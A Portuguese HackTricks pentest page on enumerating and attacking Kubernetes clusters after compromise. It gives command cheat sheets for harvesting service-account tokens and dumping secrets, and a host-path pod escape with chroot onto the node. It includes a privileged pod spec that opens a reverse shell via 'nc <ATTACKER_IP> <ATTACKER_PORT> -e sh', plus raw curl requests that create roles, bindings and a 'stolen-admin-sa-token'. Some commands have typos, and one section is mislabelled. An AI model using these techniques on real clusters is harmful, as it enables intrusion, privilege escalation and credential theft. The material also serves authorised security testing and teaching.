Kubernetes Enumeration
Reading time: 21 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Kubernetes Tokens
Se você comprometeu o acesso a uma máquina, o usuário pode ter acesso a alguma plataforma Kubernetes. O token geralmente está localizado em um arquivo apontado pela variável de ambiente KUBECONFIG
ou dentro de ~/.kube
.
Nesta pasta, você pode encontrar arquivos de configuração com tokens e configurações para se conectar ao servidor API. Nesta pasta, você também pode encontrar uma pasta de cache com informações previamente recuperadas.
Se você comprometeu um pod dentro de um ambiente Kubernetes, há outros lugares onde você pode encontrar tokens e informações sobre o ambiente K8 atual:
Service Account Tokens
Antes de continuar, se você não sabe o que é um serviço no Kubernetes, eu sugeriria que você siga este link e leia pelo menos as informações sobre a arquitetura do Kubernetes.
Retirado da documentação do Kubernetes:
“Quando você cria um pod, se não especificar uma conta de serviço, ela é automaticamente atribuída à conta de serviço padrão no mesmo namespace.”
ServiceAccount é um objeto gerenciado pelo Kubernetes e usado para fornecer uma identidade para processos que são executados em um pod.
Cada conta de serviço tem um segredo relacionado a ela e esse segredo contém um token portador. Este é um JSON Web Token (JWT), um método para representar reivindicações de forma segura entre duas partes.
Geralmente um dos diretórios:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount
contém os arquivos:
- ca.crt: É o certificado CA para verificar as comunicações do Kubernetes
- namespace: Indica o namespace atual
- token: Contém o token de serviço do pod atual.
Agora que você tem o token, pode encontrar o servidor API dentro da variável de ambiente KUBECONFIG
. Para mais informações, execute (env | set) | grep -i "kuber|kube
"
O token da conta de serviço está sendo assinado pela chave que reside no arquivo sa.key e validado por sa.pub.
Localização padrão no Kubernetes:
- /etc/kubernetes/pki
Localização padrão no Minikube:
- /var/lib/localkube/certs
Hot Pods
Hot pods são pods que contêm um token de conta de serviço privilegiada. Um token de conta de serviço privilegiada é um token que tem permissão para realizar tarefas privilegiadas, como listar segredos, criar pods, etc.
RBAC
Se você não sabe o que é RBAC, leia esta seção.
GUI Applications
- k9s: Uma GUI que enumera um cluster Kubernetes a partir do terminal. Confira os comandos em https://k9scli.io/topics/commands/. Escreva
:namespace
e selecione tudo para então pesquisar recursos em todos os namespaces. - k8slens: Oferece alguns dias de teste gratuito: https://k8slens.dev/
Enumeration CheatSheet
Para enumerar um ambiente K8s, você precisa de alguns itens:
- Um token de autenticação válido. Na seção anterior, vimos onde procurar um token de usuário e um token de conta de serviço.
- O endereço (https://host:port) do API do Kubernetes. Isso pode ser geralmente encontrado nas variáveis de ambiente e/ou no arquivo de configuração kube.
- Opcional: O ca.crt para verificar o servidor API. Isso pode ser encontrado nos mesmos lugares onde o token pode ser encontrado. Isso é útil para verificar o certificado do servidor API, mas usando
--insecure-skip-tls-verify
comkubectl
ou-k
comcurl
, você não precisará disso.
Com esses detalhes, você pode enumerar o Kubernetes. Se a API por algum motivo for acessível através da Internet, você pode simplesmente baixar essas informações e enumerar a plataforma a partir do seu host.
No entanto, geralmente o servidor API está dentro de uma rede interna, portanto, você precisará criar um túnel através da máquina comprometida para acessá-lo a partir da sua máquina, ou pode fazer o upload do kubectl binário, ou usar curl/wget/qualquer coisa
para realizar requisições HTTP brutas ao servidor API.
Differences between list
and get
verbs
Com permissões get
, você pode acessar informações de ativos específicos (opção describe
no kubectl
) API:
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
Se você tiver a permissão list
, você está autorizado a executar solicitações de API para listar um tipo de ativo (opção get
em kubectl
):
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
Se você tiver a permissão watch
, você está autorizado a executar solicitações de API para monitorar ativos:
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
Eles abrem uma conexão de streaming que retorna o manifesto completo de um Deployment sempre que ele muda (ou quando um novo é criado).
caution
Os seguintes comandos kubectl
indicam apenas como listar os objetos. Se você quiser acessar os dados, precisa usar describe
em vez de get
Usando curl
De dentro de um pod, você pode usar várias variáveis de ambiente:
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
warning
Por padrão, o pod pode acessar o kube-api server no nome de domínio kubernetes.default.svc
e você pode ver a rede kube em /etc/resolv.config
pois aqui você encontrará o endereço do servidor DNS do kubernetes (o ".1" do mesmo intervalo é o endpoint do kube-api).
Usando kubectl
Tendo o token e o endereço do servidor API, você usa kubectl ou curl para acessá-lo conforme indicado aqui:
Por padrão, o APISERVER está se comunicando com o esquema https://
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
se não houver
https://
na URL, você pode receber um erro como Bad Request.
Você pode encontrar um cheatsheet oficial do kubectl aqui. O objetivo das seções a seguir é apresentar de maneira ordenada diferentes opções para enumerar e entender o novo K8s ao qual você obteve acesso.
Para encontrar a solicitação HTTP que o kubectl
envia, você pode usar o parâmetro -v=8
MitM kubectl - Proxyfying kubectl
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
Configuração Atual
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
Se você conseguiu roubar as credenciais de alguns usuários, pode configurá-las localmente usando algo como:
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
Obter Recursos Suportados
Com essas informações, você saberá todos os serviços que pode listar
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
Obter Privilégios Atuais
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
Outra maneira de verificar seus privilégios é usando a ferramenta: https://github.com/corneliusweig/rakkess****
Você pode aprender mais sobre Kubernetes RBAC em:
Kubernetes Role-Based Access Control(RBAC)
Uma vez que você saiba quais privilégios você tem, verifique a página a seguir para descobrir se você pode abusar deles para escalar privilégios:
Abusing Roles/ClusterRoles in Kubernetes
Obter outros papéis
k get roles
k get clusterroles
Obter namespaces
Kubernetes suporta múltiplos clusters virtuais suportados pelo mesmo cluster físico. Esses clusters virtuais são chamados de namespaces.
k get namespaces
Obter segredos
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
Se você pode ler segredos, pode usar as seguintes linhas para obter os privilégios relacionados a cada token:
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
Obter Contas de Serviço
Como discutido no início desta página, quando um pod é executado, uma conta de serviço é geralmente atribuída a ele. Portanto, listar as contas de serviço, suas permissões e onde estão sendo executadas pode permitir que um usuário eleve privilégios.
k get serviceaccounts
Obter Implantações
As implantações especificam os componentes que precisam ser executados.
k get deployments
k get deployments -n custnamespace
Obter Pods
Os Pods são os contêineres que irão executar.
k get pods
k get pods -n custnamespace
Obter Serviços
Kubernetes services são usados para expor um serviço em uma porta e IP específicos (que atuarão como balanceador de carga para os pods que estão realmente oferecendo o serviço). Isso é interessante para saber onde você pode encontrar outros serviços para tentar atacar.
k get services
k get services -n custnamespace
Obter nós
Obtenha todos os nós configurados dentro do cluster.
k get nodes
Obter DaemonSets
DaeamonSets permite garantir que um pod específico esteja em execução em todos os nós do cluster (ou nos selecionados). Se você excluir o DaemonSet, os pods gerenciados por ele também serão removidos.
k get daemonsets
Obter cronjob
Os cron jobs permitem agendar, usando uma sintaxe semelhante ao crontab, o lançamento de um pod que realizará alguma ação.
k get cronjobs
Obter configMap
configMap sempre contém muitas informações e arquivos de configuração que fornecem para os aplicativos que rodam no kubernetes. Normalmente, você pode encontrar muitas senhas, segredos e tokens que são usados para conectar e validar a outros serviços internos/externos.
k get configmaps # -n namespace
Obter Políticas de Rede / Políticas de Rede Cilium
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
Obter Tudo / Todos
k get all
Obter todos os recursos gerenciados pelo helm
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
Obter consumos de Pods
k top pod --all-namespaces
Interagindo com o cluster sem usar kubectl
Visto que o plano de controle do Kubernetes expõe uma API RESTful, você pode criar manualmente requisições HTTP e enviá-las com outras ferramentas, como curl ou wget.
Escapando do pod
Se você conseguir criar novos pods, pode ser capaz de escapar deles para o nó. Para fazer isso, você precisa criar um novo pod usando um arquivo yaml, mudar para o pod criado e, em seguida, chroot no sistema do nó. Você pode usar pods já existentes como referência para o arquivo yaml, uma vez que eles exibem imagens e caminhos existentes.
kubectl get pod <name> [-n <namespace>] -o yaml
se você precisar criar um pod em um nó específico, pode usar o seguinte comando para obter rótulos no nó
k get nodes --show-labels
Comumente, kubernetes.io/hostname e node-role.kubernetes.io/master são bons rótulos para seleção.
Então você cria seu arquivo attack.yaml
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
Após isso, você cria o pod
kubectl apply -f attacker.yaml [-n <namespace>]
Agora você pode alternar para o pod criado da seguinte forma
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
E finalmente você chroot no sistema do nó
chroot /root /bin/bash
Informações obtidas de: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
Criando um pod privilegiado
O arquivo yaml correspondente é o seguinte:
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
Crie o pod com curl:
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Delete um pod
Delete um pod com curl:
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
Criar uma Conta de Serviço
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Excluir uma Conta de Serviço
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
Criar um Papel
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Excluir um Papel
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
Criar um Binding de Papel
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Excluir um Binding de Papel
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
Excluir um Segredo
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Excluir um Segredo
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
Referências
Kubernetes Pentest Methodology Part 3
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.